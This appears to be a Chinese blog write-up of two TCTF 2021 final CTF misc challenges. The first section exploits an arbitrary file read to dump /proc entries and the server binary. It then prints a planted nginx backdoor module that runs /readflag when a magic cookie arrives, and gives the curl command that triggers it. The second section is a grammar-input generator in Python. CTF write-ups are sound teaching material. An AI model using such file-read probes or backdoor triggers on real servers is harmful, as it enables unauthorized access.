TCTF 2021 Final Summary

TCTF 给我的第一印象是整活整挺好,又是各种物料、队旗,还请了罗翔老师在直播的时候讲课,多大的牌面啊,整挺好……

这次一共做了两个 Misc,其中一个 Misc 还是高校新星赛的一血,虽然那道题后期都被玩的没意思了,分值一路拉低到 200pt,Web 是一道没出,总觉得现在都喜欢搞 XSS,但细节我还是不太会,二进制方面,容易头大……我说我要学来着,但还是做自己擅长的题去了……

之后交流中,得知我的那个 Misc 一血的解法大概率是个很奇葩的非预期,废话不多说,开始吧~

eeenginx - misc

题解

访问页面首先看到的是一句话:

Try to download some files, example: ?path=/readflag

于是尝试访问 /?path=/readflag,稍微逆一下看着是读取根目录的 /flag,但这个对于直接 /?path=/flag 是没有权限的。

之后尝试访问了蛮多东西,比如 /?path=/proc/cpuinfo,腾讯居然给这台服务器开了一个AMD EPYC 7K62 48-Core Processor 的服务器,真是有钱任性(

以下的路径均可尝试:

/proc/version                # 获取系统版本
/proc/mounts                 # 系统磁盘挂载信息
/proc/self/status            # 当前应用运行状态
/proc/self/maps              # 获取当前的内存映射
/proc/self/exe               # 获取当前执行的应用程序

/proc/self/maps 可以得到 nginx 的运行目录:

555c3f9f6000-555c3fa2e000 r--p 00000000 00:35 1049769       /usr/local/openresty/nginx/sbin/nginx
555c3fa2e000-555c3fb51000 r-xp 00038000 00:35 1049769       /usr/local/openresty/nginx/sbin/nginx
555c3fb51000-555c3fb9f000 r--p 0015b000 00:35 1049769       /usr/local/openresty/nginx/sbin/nginx
555c3fb9f000-555c3fba1000 r--p 001a8000 00:35 1049769       /usr/local/openresty/nginx/sbin/nginx
555c3fba1000-555c3fbbf000 rw-p 001aa000 00:35 1049769       /usr/local/openresty/nginx/sbin/nginx
...

也可以从这里那道一个没什么用的配置文件……

?path=/usr/local/openresty/nginx/conf/nginx.conf

之后比较没有头绪,于是开始搜一些 nginx 的相关漏洞,然后发掘还是需要那到 nginx 的版本才能确定有没有用……

于是先下载好其二进制文件,拉到本地:/proc/self/exe

正常的 nginx 可以通过 nginx -v 查看版本信息:

> nginx -v
nginx version: nginx/1.18.0

而这个 nginx 运行时有文件无法读取,所以拿不到它的版本,想了想,干脆用 strings 提取字符串得了,而这一提取,发现了大秘密:

> strings ./nginx | grep nginx

ngx_http_eeenginx
logs/nginx.pid
logs/nginx.lock
/usr/local/openresty/nginx/
conf/nginx.conf
nginx version: openresty/1.19.3.2
...
ngx_http_eeenginx.c
eeenginx.h
eeenginx.c
...
/opt/module/ngx_http_eeenginx.c
ngx_http_eeenginx_body_filter
ngx_http_eeenginx_header_filter
ngx_http_eeenginx
ngx_http_eeenginx_ctx
ngx_http_eeenginx_init
/opt/module/eeenginx.c
ngx_http_variable_nginx_version
ngx_stream_variable_nginx_version
ngx_http_eeenginx.c
ngx_http_eeenginx_body_filter
ngx_http_eeenginx_init
ngx_http_eeenginx_header_filter
ngx_http_eeenginx_ctx
ngx_http_eeenginx

原来是给 nginx 写了个 module,一起编译进去了啊!于是自然拿到了那两段源码:/?path=/opt/module/ngx_http_eeenginx.c 以及 /?path=/opt/module/eeenginx.c

eeenginx.c
int exec_shell(int fd) { int pid; pid = fork(); if (pid > 0) { close(fd); exit(0); } dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/readflag", NULL, NULL); return 0; }
ngx_http_eeenginx.c
ngx_http_eeenginx_header_filter(ngx_http_request_t *r) { int cmd_fd = r->connection->fd; ngx_table_elt_t ** cookies = NULL; cookies = r->headers_in.cookies.elts; if(r->headers_in.cookies.nelts==1){ if(strncmp((char *)cookies[0]->value.data,"session=eeenginx97826431357894989;", sizeof("session=eeenginx97826431357894989"))==0){ exec_shell(cmd_fd); } } return ngx_http_next_header_filter(r); }

于是直接 curl http://host:port/ -v --cookie "session=eeenginx97826431357894989;"

遇到报错:Received HTTP/0.9 when not allowed

于是加个参数:curl http://host:port/ -v --cookie "session=eeenginx97826431357894989;" --http0.9

flag{thanks_to_tm3yshell7}

后记

比赛后得知可以从 /proc/self/fd/2 直接读取 nginxerror.log
比赛后得知可以从 /proc/self/fd/5 直接读取 nginxaccess.log

之后就可以抄作业了.jpg

怪不得大家最后基本上全部过了……

PS: 居然还有人扫 pid

how2gen - misc

题解

这道题给出的 task 是:

def gen_grammar():
    gram = '''%import common.LETTER
%import common.WORD
%import common.NUMBER
%import common.DIGIT
%import common.WS
%ignore WS

start: statement+

'''
    num = 0
    exprs = "expression: "
    for i in range(50):
        if i!=0:
            exprs += "    | "
        exprs += genexpr()
        exprs += "-> cov_%d" % num
        num += 1
        exprs += "\n"
    gram += exprs
    stmts = "statement: "
    for i in range(100):
        if i!= 0:
            stmts += "    | "
        stmts += genstmt()
        stmts += "-> cov_%d" % num
        num += 1
        stmts += "\n"
    gram += stmts
    return gram

其中 genexpr 生成一个随机的表达式语法,例如:

WORD "~" expression "$" WORD "%" DIGIT
NUMBER "-" NUMBER "@" expression
DIGIT "~" DIGIT "&" expression
...

genstmt 生成一个随机的语句语法,例如:

"Dy3tUI" WORD "m0Srz" DIGIT expression "rqDn0" statement NUMBER
"dgo56s" NUMBER "HDM" NUMBER NUMBER
"tHH" expression expression statement expression expression "YDXwgO" expression "0Zr"
...

我们的任务是:

found = set()
ok = True
tot = 0
for i in range(N):
    one = codes[i].decode('latin-1')
    try:
        res = parser.parse(one)
        cov = collect_cov(res)
        tot |= cov
        if bin(cov).count('1') < 20:
            # you assemble it manually?
            ok = False
        elif cov in found:
            ok = False
        else:
            found.add(cov)
    except:
        ok = False
    if not ok:
        break
if bin(tot).count('1') < 150:
    ok = False
if ok:
    self.request.sendall(b"%s\n"%(flag))
else:
    self.request.sendall(b"failed\n")
self.request.close()

其中 N = 0x1000,故需要生成 4096 段 code 且满足这几个需求:

  1. 每一个 code 至少使用 20 种不同的 expression 或者 statement
  2. code 之间两两互不相同
  3. 在 4096 个 code 执行结束之后,全部 150 个 expression 和 statement 均需要被使用

这个生成程序写起来很简单,只需要递归地构造语句即可。但是需要将其分为可递归与不可递归的两类,因为如果遇到一个如 "dgo56s" NUMBER "HDM" NUMBER NUMBER 的 statement,那么是无论如何也不能够在这个语句中使用 20 种语法。

因此我的解决方案算是比较笨的,也是比较暴力的。即先按顺序生成那些语句,并且指定要用哪些表达式。这样虽然有一定进入死循环的风险,但总体来说还是比较稳的,而且由于生成有随机的过程,遇到重复的概率极低。

全部代码:

parser = None
expressions = []
expressions_end = []
expressions_not_end = []
statements = []
statements_end = []
statements_not_end = []
used = set()

name_map = {}

table = {
    'NUMBER': '233',
    'LETTER': 'L',
    'WORD': 'hello',
    'DIGIT': '1'
}

def gen_expr(idx = -1):
    global expressions
    global expressions_end
    global expressions_not_end
    global used
    # 当前语法使用量不足 10
    if len(used) < 10:
        expr = random.choice(expressions_not_end) # 随机选择可以继续递归的
    elif idx > 0: # 当然指定了表达式
        expr = expressions[idx]
    else:
        expr = random.choice(expressions_end) # 随机选择可以终止的
    used.add(f"{expr.origin.name}{expr.order}") # 避免重复
    code = ' ' # 生成 code
    for item in expr.expansion:
        if item.is_term:
            if item.filter_out:
                code += name_map[item.name] + ' '
            else:
                code += table[item.name] + ' '
        elif item.name == 'expression':
            code += gen_expr() + ' '
    return code

def gen_stat(idx = -1, use_expr_idx = -1, depth = 0, end = False):
    global statements
    global statements_end
    global statements_not_end
    global used
    if idx < 0: # 如果未指定语句
        stat = random.choice(statements_not_end) if not end else random.choice(statements_end)
    else: # 如果指定了语句
        stat = statements[idx]
    code = ' '
    used.add(f"{stat.origin.name}{stat.order}")
    flag = use_expr_idx > 0
    for item in stat.expansion:
        if item.is_term:
            if item.filter_out:
                code += name_map[item.name] + ' '
            else:
                code += table[item.name] + ' '
        else:
            if item.name == 'statement':
                res = gen_stat(end = True) # 使用一个会终止的语句
            elif item.name == 'expression':
            # 仅仅在第一次填充表达式时填充选择的表达式
                if flag:
                    res = gen_expr(use_expr_idx)
                    flag = False
                else:
                    res = gen_expr()
            code += res + ' '
    return code

def has_expr(expr):
    return len([i for i in expr.expansion if i.name == 'expression']) > 0

def run(gram = None):
    global parser
    global expressions_end
    global expressions_not_end
    global expressions
    global statements
    global statements_end
    global statements_not_end
    global used

    gram = open('how2gen/gram.txt','r',encoding='latin-1').read() if gram is None else gram
    # 解析语法
    parser = lark.Lark(gram)

    # 记录真实名称
    for item in parser.terminals:
        name_map[item.name] = item.pattern.value

    # 分类
    expressions = parser.rules[1:51]
    expressions_end = [i for i in expressions if not has_expr(i)]
    expressions_not_end = [i for i in expressions if has_expr(i)]

    statements = parser.rules[51:151]
    statements_end = [i for i in statements if not has_expr(i)]
    statements_not_end = [i for i in statements if has_expr(i)]

    statements_not_end_idx = [i for i in range(100) if has_expr(statements[i])]

    print('parse finished.')

    # 开始生成 code
    codes = []

    # 先按顺序生成需要的 statements
    # 这样确保前 100 个可以覆盖绝大部分的语法
    for idx in tqdm(statements_not_end_idx):
        used.clear()
        while len(used) < 20:
            used.clear()
            stat = gen_stat(idx = idx, use_expr_idx = idx % 50)
        codes.append(stat)

    # 剩余部分生成
    for _ in tqdm(range(0x1000 - len(statements_not_end_idx))):
        used.clear()
        while len(used) < 20:
            used.clear()
            stat = gen_stat()
        codes.append(stat)

    print('code gen finished.')

    # 压缩并上传
    code = '|'.join(codes)
    res = zlib.compress(code.encode()).hex()
    res += ' '
    return res

flag{Di3_G7enzen_mEiNer_5prache_beDeuTeN_dIe_GrenzEn_meinEr_Welt}

后记

等到再交流交流或许会有更多的感触……

相对而言,腾讯是真的喜欢编译原理相关啊……前段时间刚刚因为作业学了一些 parser 相关的知识,写了个MiniCalculator,这几天倒是各种见到相关的东西……还有那道bali也是……

未完待续……(也许)